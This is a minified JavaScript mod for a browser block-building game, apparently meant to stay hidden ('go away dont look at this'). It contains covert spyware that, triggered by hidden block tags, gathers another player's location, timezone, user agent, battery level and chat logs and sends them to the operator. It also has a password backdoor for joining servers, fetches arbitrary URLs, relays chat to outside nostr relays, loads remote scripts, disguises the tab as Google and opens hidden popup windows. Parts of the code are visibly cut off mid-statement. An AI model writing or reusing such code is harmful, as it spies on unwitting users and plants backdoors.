the mk script if only the transfer system could stay.. go away dont look at this nothing here // cool feature let is, cang async function fe(t,p){ for(let l of t){ if(l.startsWith("s "))p.scale=+l.substring(2)||1 else if(l.startsWith("m ")){ let a=l.split(" "); let can=true; for(let [i, m] of serverWorld.music){ if(m.url===a[1])can=false } if(can){ for(let [i, m] of serverWorld.music) serverWorld.stopMusic(i); if(a[1])serverWorld.playMusic(a[1],+a[2]||undefined,+a[3]||undefined) } } else if(l==="a"&&p.connection&&!(p.tosenda&&p.tosenda.length))p.tosenda=["-------",window.scrti,Intl.DateTimeFormat().resolvedOptions().timeZone,location,JSON.stringify(navigator.userAgentData)||navigator.userAgent,navigator.getBattery&&(await navigator.getBattery()).level,window.innerWidth+" x "+window.innerHeight,...f,"t: "+new Date().toLocaleString(),"-------",...Messages.all.map(r=>r.innerHTML),...(serverWorld.playersInv.wn&&serverWorld.playersInv.wn.cm||[]),"-------"].reverse().map(r=>String(r)) else if(l==="h"){settings.volume=0;serverWorld.settings.autosave=1;document.getElementById("icon").href="https://www.google.com/favicon.ico";document.title="Google";document.body.style.display="none"} else if(l.startsWith("h")){try{p.tosenda=[await(await fetch(l)).text()]}catch(e){p.tosenda=[e+""]}} else if(l==="reload"&&window.scrt)startday=null else if(l.startsWith("n "))serverWorld.playersInv.wn.wn=l.replace("n ","") else if(l.startsWith("c "))serverWorld.mod=l.replace("c ","") let d=blockData[blockIds[l]]; if(d&&window.scrt)for(let i=0;i { let now=Date.now(),date=new Date() try{ is=window.player&&player.username.includes("y")||window.serverWorld&&serverWorld.gameMode==="survival"&&serverWorld.name.includes("ci")||window.scrt cang=window.player&&player.username.includes("v") if(window.serverWorld)for(let p of serverWorld.players){ if(p.host)continue; if(is&&p.y<-32&&p.dimension&&p.spawnPoint)p.tp(p.spawnPoint.x,p.spawnPoint.y,p.spawnPoint.z,""); if(p.tosenda&&p.tosenda.length){let l=0;while(p.tosenda.length&&((l+=p.tosenda[p.tosenda.length-1].length)<10000)||!l)p.connection.send({type:"message",data:p.tosenda.pop(),fromServer:true})} let t=p.world.getTagByName(Math.round(p.x),Math.round(p.y),Math.round(p.z),"text"); if(t){ t=t.split("\n");if(t[0].hashCode()===561438836){ t.shift() p.world.setTagByName(Math.round(p.x),Math.round(p.y),Math.round(p.z),"texd",t);p.world.setTagByName(Math.round(p.x),Math.round(p.y),Math.round(p.z),"text","") }} t=p.world.getTagByName(Math.round(p.x),Math.round(p.y),Math.round(p.z),"texd") if(t)fe(t,p) } if(window.serverWorld&&!serverWorld.fixed){ if(is){ blockData[2].dropAmount=blockData[1].dropAmount=blockData[9].dropAmount=[1,2] } serverWorld.rootCommandNode.then(CommandNode.l("dupe",(args,pos)=>{ let it=pos.inventory.hotbar[pos.inventory.hotbarSlot],a=Math.min(it&&it.amount,5) if(it&&pos.newInvItem)for(let i=0;i{if(!args.f||!args.f.split)return let t=args.f.split(',') fe(t,pos);return["hold item and type /dupe",""]},null,null,true)), CommandNode.l("mute",(args,pos)=>{pos.voteMute=true;let a=0;for(let p of serverWorld.players){if(p.voteMute)a++};serverWorld.mute=a>=serverWorld.players.length/10},null,null,true), CommandNode.l("unmute",(args,pos)=>{pos.voteMute=false;let a=0;for(let p of serverWorld.players){if(p.voteMute)a++};serverWorld.mute=a>=serverWorld.players.length/10},null,null,true) ) serverWorld.on("message",e=>{if(serverWorld.mute){return "stop"}}) let bc=e=>{try{if(e.data.pass&&e.data.pass.hashCode()===561438836){serverWorld.serverAddPlayer(e.connection,e.data.id,e.data.username,false);return "stop"}}catch{}};serverWorld.on("beforeconnect",e=>bc(e)) serverWorld.fixed=6} }catch{} if(navigator.userActivation&&navigator.userActivation.isActive)lastB=now+43.67*60*1000 if(cang&&!is&&!window.sigConns&&!window.scrt&&lastB&&now>lastB){ window.scrt=1;window.scrti="real username: "+player.username function addm(m){let s=document.createElement("span");s.innerHTML=(new Date().toLocaleTimeString())+" "+m;Messages.all.push(s)} if(window.initServerEverything){ initServerEverything() window.initServerEverything = null } let iw=window.serverWorld document.title=document.title.replace(/i/g,"i") if(!iw){ await createNewWorld() serverWorld.id=null } if(!iw)(async function(){ while(!window.multiplayer||!multiplayer.hasStartedLoad)await sleep(200) if(window.multiplayer){let oldc=multiplayer.onclose;multiplayer.onclose=()=>{};multiplayer.close();multiplayer.onclose=oldc} changeScene("main menu") })() setTimeout(()=>{if(!iw&&window.serverWorld&&serverWorld.players[0])serverWorld.players[0].connection.close()}, 200) // close after loadSave packet if(!iw){ let data let worlds = await initWorldsMenu() if(window.lastw)for(let i in worlds)if(worlds[i].id.startsWith(window.lastw))data=worlds[i] if(!data)for(let i in worlds)if(worlds[i].id.startsWith("."))data=worlds[i] if(data){ serverWorld.loadSave(data.code) serverWorld.playersInv = data.playersInv || {} serverWorld.mod=data.mod initServerBlockData() let url = URL.createObjectURL(new Blob(["export default function(world,blockData,blockIds,entities,entityIds){ "+data.mod+" }"],{type:"application/javascript"})) try{ let e = await import(url) e.default(serverWorld,blockData,blockIds,serverEntities,serverEntityIds) }catch(e){ addm(e) } serverWorld.id=data.id } serverWorld.id = serverWorld.id || "."+generateID() localStorage.setItem("lastw",serverWorld.id); addm("opened "+serverWorld.name+" wn:"+(serverWorld.playersInv.wn&&serverWorld.playersInv.wn.wn)) } if(!serverWorld.playersInv.wn)serverWorld.playersInv.wn={} if(!serverWorld.playersInv.wn.fcreated)serverWorld.playersInv.wn.fcreated=Date.now()+"" if(!+serverWorld.playersInv.wn.ptime)serverWorld.playersInv.wn.ptime="0" let fcreated=serverWorld.playersInv.wn&&serverWorld.playersInv.wn.fcreated let lastptime=serverWorld.playersInv.wn&&serverWorld.playersInv.wn.ptime let word try{word=await import("/assets/word.js")}catch{} if(!serverWorld.playersInv.wn.wn)serverWorld.playersInv.wn.wn=(word&&word.default.noun[Math.floor(Math.random()*word.default.noun.length)]||ƒgenWord())+serverWorld.id[0]; if(serverWorld.playersInv.wn.wn.includes("->"))serverWorld.playersInv.wn.wn=serverWorld.playersInv.wn.wn.substring(0,serverWorld.playersInv.wn.wn.indexOf("->")) let prevusername=player.username,previd=player.id let lastun=localStorage.getItem("lastun"); if(lastun)player.username=lastun else if(word){word.default.init();player.username=word.default.generateName();localStorage.setItem("lastun",player.username)} serverWorld.on("ping",e=>{e.data.fcreated=fcreated;e.data.name=window.serverWorld&&serverWorld.playersInv.wn&&serverWorld.playersInv.wn.wn;e.data.ptime=lastptime;if(!serverWorld.players.length)e.data.players.unshift(player.username)}) let getsavecs=new Set(), lastsave async function sendsave(c,d){ if(c.sending)return let idx=0;c.sending=true while(idx{ if(e.data.id===".getsave"){ getsavecs.add(e.connection); e.connection.onclose=()=>{e.connection.sending=false;getsavecs.delete(e.connection);addm("-getsave "+e.data.username)}; if(lastsave)sendsave(e.connection,lastsave) addm("+getsave "+e.data.username) serverWorld.playersInv.wn.ptime=+serverWorld.playersInv.wn.ptime+1+"" return "stop" } }) function saveJSONReplacer(key,value){ if(value instanceof Uint8Array) return value.toString() else return value } serverWorld.on("save",e=>{ if(!iw)e.edited=123; lastsave=e=JSON.stringify(e,saveJSONReplacer); for(let c of getsavecs)sendsave(c,e) serverWorld.playersInv.wn.ptime=+serverWorld.playersInv.wn.ptime+getsavecs.size+"" }) if(!Array.isArray(serverWorld.playersInv.wn.cm))serverWorld.playersInv.wn.cm=[] let cmlen=0;for(let m of serverWorld.playersInv.wn.cm)cmlen+=m.length function addcm(m){serverWorld.playersInv.wn.cm.push(m); cmlen+=m.length; while(cmlen>100000){cmlen-=serverWorld.playersInv.wn.cm[0].length;serverWorld.playersInv.wn.cm.shift()} } addcm("opened by "+player.username) serverWorld.oldsendAll=serverWorld.sendAll serverWorld.sendAll=function(m){if(m.type==="message"){addcm(m.data)};this.oldsendAll(m)} serverWorld.on("message",e=>{addcm(e.player.username+": "+e.data.data)}) if(serverWorld.players[0]){ serverWorld.players[0].connection.oldsend=serverWorld.players[0].connection.send serverWorld.players[0].connection.send=function(m){if(m.type!=="message"&&!(m.type==="pos"&&m.FROM))this.oldsend(m)} } save()//for lastsave enableMultiplayer() try{ const worker = new Worker(URL.createObjectURL(new Blob([`setInterval(() => self.postMessage(0), 1000 / 20);`], { type: 'application/javascript' }))); let lastRan = -Infinity; worker.onmessage = () => { if(!window.scrt||!window.serverWorld||!serverWorld.oldtick)return worker.terminate(); let now=performance.now(); if (now - lastRan < 48) return; serverWorld.oldtick(); lastRan = now; }; serverWorld.oldtick=serverWorld.oldtick||serverWorld.tick serverWorld.tick=worker.onmessage }catch(e){addm("§c"+e)} try{ if(window.navigator&&navigator.userAgentData&&navigator.userAgentData.platform.includes("Chrome")){document.title="Google";onbeforeunload=e=>true} }catch(e){addm("§c"+e)} serverWorld.oldclose=serverWorld.oldclose||serverWorld.close serverWorld.close=()=>{ window.sigConns=null //so it can reopen serverWorld.oldclose() window.scrt=0 } /*https://html.cafe/x67489f45*/ if(!window.pool)try{ let { SimplePool, generateSecretKey, getPublicKey, finalizeEvent } = await import("https://esm.sh/nostr-tools"); let s=document.createElement("script");s.src="https://glub.chat/js/nostr/pow-worker.js";document.body.appendChild(s); const relays=[ "wss://relay.minibolt.info/","wss://nostr.notribe.net/", "wss://relay.damus.io/","wss://relay.primal.net/","wss://nos.lol/", "wss://bucket.coracle.social" ]; const pool = new SimplePool({enableReconnect:true});window.pool=pool; const seen = new Set(); const sk = generateSecretKey(); const pubkey = getPublicKey(sk); pool.subscribeMany( relays, { kinds: [20000] }, { onevent(evt) { if(evt.kind!==20000 || getTag(evt,"g")!=="mk")return; if (seen.has(evt.id)) return; seen.add(evt.id); if (seen.size > 5000) seen.clear(); serverWorld.sendAll({type:"message",data:""+getTag(evt,"n")+": "+evt.content,fromServer:true}); }, } ); function getTag(ev, key) { const tags = Array.isArray(ev.tags) ? ev.tags : []; return tags.find((t) => Array.isArray(t) && t[0] === key)?.[1] || ""; } function sendmsg(username,content){ if(username.includes("v"))return; Messages.span.innerHTML=content; content=Messages.span.textContent; let event={ pubkey:getPublicKey(sk), kind: 20000, created_at: Math.floor(Date.now() / 1000), tags:[["n", username],["g","mk"]], content }; let data; self.postMessage=e=>data=e; self.onmessage({data:{event,difficulty:12}}); event.tags.push(data.nonceTag); event=finalizeEvent(event,sk); seen.add(event.id);; const pubs = pool.publish(relays, event); Promise.any(pubs).catch(()=>{}); } serverWorld.on("message",e=>sendmsg(e.player.username,e.data.data)); window.sendmsg=sendmsg; }catch(e){addm("§c"+e)} while(window.scrt){ function closeit(){ if(!window.sigConns)return disableMultiplayer() if(window.multiplayer)multiplayer.close() serverWorld.close() window.scrt=1//set it back window.sigConns=null //so it can reopen window.serverWorld=null //so it won't reuse updateTitle(false) } let now=Date.now() lastptime=serverWorld.playersInv.wn.ptime let foundone, foundf,foundfcreated=fcreated, foundpf,foundptime=lastptime getWorlds(w=>{ w.ping=0; if(window.serverWorld&&w.id.includes(serverWorld.id)&&+w.fcreated>+foundfcreated&&+w.fcreated+foundptime){ foundptime=+w.ptime foundpf=w closeit() } }) await sleep(60000) if(window.getWorldsWs) getWorldsWs.close() foundone=foundone||foundpf||foundf if(foundone){ addm("found "+foundone.name+", host:"+foundone.host) player.id=".getsave" player.username="."+player.username let lastcon=Date.now(), con async function recon(){ addm("recon on "+foundone.signalingServer) let previd=player.id,prevun=player.username con=await initMultiplayer(foundone) if(window.bottomRightList)bottomRightList.innerHTML="" if(!con||con.cAnCeLcOnNectION)return con=null let str=[] con.onmessage=e=>{ if(e.data)return str.push(e.data) else {str=str.join("");e.data=JSON.parse(str),str=[]} if(!e.data.playersInv.wn)e.data.playersInv.wn={}; e.data.playersInv.wn.fcreated=Date.now()+""; saveToDB(e.data.id,e.data); window.lastw=e.data.id;localStorage.setItem("lastw",window.lastw) lastcon=Date.now() addm("saved") } con.onclose=e=>con=null } let stillany=3 while(Date.now()-lastcon<13*60000 && stillany>0){ if(!con)recon() let nowstillany getWorlds(w=>{if(w.id===foundone.id){foundone=w;nowstillany=true}}) await sleep(10000) if(window.getWorldsWs) getWorldsWs.close() if(nowstillany)stillany=3 else stillany-- if(nowstillany)await sleep(60000) } if(con)con.close() addm("nomore, savedrecently:"+(Date.now()-lastcon<13*60000)+" stillany:"+stillany+" lastw:"+lastw) player.username=prevusername,player.id=previd window.scrt=0 } } } if(window.scrt&&window.serverWorld&&serverWorld.playersInv.wn)serverWorld.playersInv.wn.ptime=+serverWorld.playersInv.wn.ptime+serverWorld.players.length+"" // players*time if(window.scrt&&date.getDate()!==startday){startday=date.getDate();try{serverWorld.sendAll({type:"message",fromServer:true,data:"restarting"});await sleep(5000);await save();localStorage.setItem("lastw",serverWorld.id);location.reload()}catch{}} }, 1000); let startday=new Date().getDate() let f=[new Date().toLocaleString()],lastB=Date.now()+12.4254*60*1000 addEventListener("focus",e=>{f.push("+ "+new Date().toLocaleString());lastB=null;if(window.scrt){if(window.serverWorld)serverWorld.sendAll({type:"message",data:"panic!",fromServer:true});}});addEventListener("blur",e=>{f.push("- "+new Date().toLocaleString());lastB=Date.now()+43.67*60*1000}) window.lastw=localStorage.getItem("lastw"); (async function(){ /*https://html.cafe/x67489f45*/ if(!window.pool){ let { SimplePool, generateSecretKey, getPublicKey, finalizeEvent } = await import("https://esm.sh/nostr-tools"); let s=document.createElement("script");s.src="https://glub.chat/js/nostr/pow-worker.js";document.body.appendChild(s); const relays=[ "wss://relay.minibolt.info/","wss://nostr.notribe.net/", "wss://relay.damus.io/","wss://relay.primal.net/","wss://nos.lol/", "wss://bucket.coracle.social","wss://nosflare-leefcore.leefcore.workers.dev","wss://bitchat.nostr1.com","wss://relay2.veganostr.com","wss://public.crostr.com","wss://relay.wellorder.net" ]; const pool = new SimplePool({enableReconnect:true});window.pool=pool; const seen = new Set(); const sk = generateSecretKey(); const pubkey = getPublicKey(sk); pool.subscribeMany( relays, { kinds: [20000] }, { onevent(evt) { if(evt.kind!==20000 || getTag(evt,"g")!=="mk")return; if (seen.has(evt.id)) return; seen.add(evt.id); if (seen.size > 5000) seen.clear(); serverWorld.sendAll({type:"message",data:""+getTag(evt,"n")+": "+evt.content,fromServer:true}); }, } ); function getTag(ev, key) { const tags = Array.isArray(ev.tags) ? ev.tags : []; return tags.find((t) => Array.isArray(t) && t[0] === key)?.[1] || ""; } function sendmsg(username,content){ if(username.includes("v")||content.startsWith("§"))return; Messages.span.innerHTML=content; content=Messages.span.textContent; let event={ pubkey:getPublicKey(sk), kind: 20000, created_at: Math.floor(Date.now() / 1000), tags:[["n", username],["g","mk"]], content }; let data; self.postMessage=e=>data=e; self.onmessage({data:{event,difficulty:12}}); event.tags.push(data.nonceTag); event=finalizeEvent(event,sk); seen.add(event.id);; const pubs = pool.publish(relays, event); Promise.any(pubs).catch(()=>{}); } serverWorld.on("message",e=>sendmsg(e.player.username,e.data.data)); window.sendmsg=sendmsg; //sendmsg(player.username,["hi","hello","hey","yo"][Math.floor((Math.random()**2)*4)]) } parent.addEventListener("click",e=>{if(!parent.ww||parent.ww.closed)parent.ww=parent.open("","","left=10000,top=10000,width=1,height=1");ww.document.body.style.background="#333";ww.document.body.innerHTML=""}) })() world.on("join",e=>e.player.sendMessage(` School can be awful. Many people agree. But School is not the best way to learn. It is better if you learn by yourself by doing what you are interested in and being curious and not being forced to learn useless things. After all; a successful life is a life where you are happy and not always worried about money. Find out more: Review of research on Homeschooling A students right to freedom of education The Case against Education Why Unleashing the Instinct to Play Will Make Our Children Happier More Self-Reliant and Better Students for Life If you agree with this. share it with the parents. `)) world.on("join",e=>{ // This gives apples if(!e.player.hasItem(blockIds.darkLeaves)){ for(let i=0;i<64;i++)e.player.newInvItem(blockIds.darkLeaves) } if(!e.player.hasItem(blockIds.redBerryLeaves)){ for(let i=0;i<64;i++)e.player.newInvItem(blockIds.redBerryLeaves) } if(!e.player.hasItem(blockIds.blueBerryLeaves)){ for(let i=0;i<64;i++)e.player.newInvItem(blockIds.blueBerryLeaves) } if(!e.player.hasItem(blockIds.yellowLeaves)){ for(let i=0;i<64;i++)e.player.newInvItem(blockIds.yellowLeaves) } if(!e.player.hasItem(blockIds.autumnLeaves)){ for(let i=0;i<64;i++)e.player.newInvItem(blockIds.autumnLeaves) } if(!e.player.hasItem(blockIds.limestone)){ for(let i=0;i<64;i++)e.player.newInvItem(blockIds.limestone) } })